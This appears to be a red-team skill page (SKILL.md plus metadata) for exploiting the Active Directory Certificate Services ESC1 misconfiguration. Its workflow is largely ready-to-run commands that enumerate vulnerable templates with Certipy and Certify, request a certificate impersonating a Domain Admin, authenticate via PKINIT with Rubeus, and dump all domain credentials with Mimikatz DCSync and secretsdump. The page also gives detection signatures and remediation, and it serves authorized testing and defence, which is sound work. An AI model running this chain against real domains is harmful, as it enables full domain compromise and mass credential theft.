exploiting-active-directory-certificate-services-esc1
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
- License 许可
- Apache-2.0
- 最近更新
- 2026-09-21
- Stars
- ★ 3
- Forks
- 0
01 前言 Front Matter
- name
- exploiting-active-directory-certificate-services-esc1
- tags
- [ "red-team", "active-directory", "ad-cs", "esc1", "certificate-abuse", "privilege-escalation", "domain-escalation" ]
- author
- mahipal
- domain
- cybersecurity
- license
- Apache-2.0
- version
- 1.0
- nist_csf
- [ "ID.RA-01", "GV.OV-02", "DE.AE-07" ]
- subdomain
- red-teaming
- description
- Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
- mitre_attack
- [ "T1595", "T1190", "T1059", "T1078", "T1068" ]
- d3fend_techniques
- [ "File Metadata Consistency Validation", "Certificate Analysis", "Content Format Conversion", "File Content Analysis", "Platform Hardening" ]
02 资源文件 7
- 资产文件assets/template.md1.3 KB
- 许可证LICENSE11.0 KB
- 参考文档references/api-reference.md2.1 KB
- 参考文档references/standards.md1.1 KB
- 参考文档references/workflows.md1.9 KB
- 脚本scripts/agent.py4.6 KB
- 脚本scripts/process.py7.9 KB
03 SKILL.md 正文
Exploiting Active Directory Certificate Services ESC1
Overview
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
When to Use
- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report
MITRE ATT&CK Mapping
- T1649 - Steal or Forge Authentication Certificates
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1078.002 - Valid Accounts: Domain Accounts
- T1484 - Domain Policy Modification
- T1087.002 - Account Discovery: Domain Account
Workflow
Phase 1: AD CS Enumeration
- Enumerate Certificate Authority (CA) servers in the domain:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 - Enumerate all certificate templates and identify vulnerable ones:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - Verify ESC1 conditions on identified templates:
msPKI-Certificate-Name-FlagcontainsENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsagecontains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flagdoes not require manager approval- Low-privileged group (Domain Users, Authenticated Users) has Enroll rights
Phase 2: Certificate Request with Arbitrary SAN
- Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local - The CA issues a certificate with the Domain Admin's UPN in the SAN field
- Save the output certificate in PFX/PEM format
Phase 3: Authentication with Forged Certificate
- Convert the certificate if needed (Certify outputs PEM, convert to PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Authenticate using PKINIT to obtain a TGT for the impersonated user:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 - The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)
Phase 4: Domain Privilege Escalation
- With the Domain Admin TGT, perform privileged operations:
# DCSync to dump all domain credentials mimikatz.exe "lsadump::dcsync /domain:domain.local /all" # Or using secretsdump.py with the obtained NT hash secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash - Validate Domain Admin access:
# List domain controllers dir \\DC01.domain.local\C$ # Access Domain Admin shares dir \\DC01.domain.local\SYSVOL
Tools and Resources
| Tool | Purpose | Platform |
|---|---|---|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |
Vulnerable Template Indicators
| Condition | Vulnerable Value |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |
Detection Signatures
| Indicator | Detection Method |
|---|---|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |
Validation Criteria
- [ ] AD CS Certificate Authority enumerated
- [ ] Vulnerable ESC1 templates identified with Certify or Certipy
- [ ] Certificate requested with Domain Admin SAN successfully
- [ ] PKINIT authentication performed with forged certificate
- [ ] Domain Admin TGT obtained
- [ ] Privileged access to domain controller validated
- [ ] Full attack chain documented with evidence
- [ ] Remediation recommendations provided (disable Supply in Request, require manager approval)
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